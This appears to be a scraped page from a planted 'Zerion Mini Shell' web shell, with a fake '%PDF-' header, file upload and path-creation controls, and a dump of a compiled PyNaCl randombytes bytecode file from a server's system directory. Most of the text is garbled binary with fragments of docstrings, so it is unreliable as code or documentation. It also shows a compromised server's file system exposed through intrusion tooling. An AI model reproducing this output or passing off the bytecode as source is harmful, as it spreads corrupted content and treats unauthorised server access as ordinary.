%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/nacl/bindings/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/nacl/bindings/__pycache__/randombytes.cpython-312.pyc

�

�f��r�UddlmZddlmZmZej�Zee	d<dede
fd�Zdede
de
fd�Zy	)
�)�
exceptions)�ffi�lib�randombytes_SEEDBYTES�size�returnc��tjd|�}tj||�tj||�ddS)z�
    Returns ``size`` number of random bytes from a cryptographically secure
    random source.

    :param size: int
    :rtype: bytes
    �unsigned char[]N)r�newr�randombytes�buffer)r�bufs  �;/usr/lib/python3/dist-packages/nacl/bindings/randombytes.pyrrs9���'�'�#�T�
*�C��O�O�C����:�:�c�4� ��#�#��seedc���t|�tk7rtjd��t	j
d|�}t
j|||�t	j||�ddS)z�
    Returns ``size`` number of deterministically generated pseudorandom bytes
    from a seed

    :param size: int
    :param seed: bytes
    :rtype: bytes
    z:Deterministic random bytes must be generated from 32 bytesr
N)	�lenr�exc�	TypeErrorrrr�randombytes_buf_deterministicr
)rrrs   rrr#s`���4�y�)�)��m�m�H�
�	
��'�'�#�T�
*�C��%�%�c�4��6��:�:�c�4� ��#�#rN)
�naclrr�nacl._sodiumrr�randombytes_seedbytesr�int�__annotations__�bytesrr�rr�<module>rsP�� #�!�6�S�6�6�8��s�8�
$�c�
$�e�
$�$��$�5�$�U�$r

Zerion Mini Shell 1.0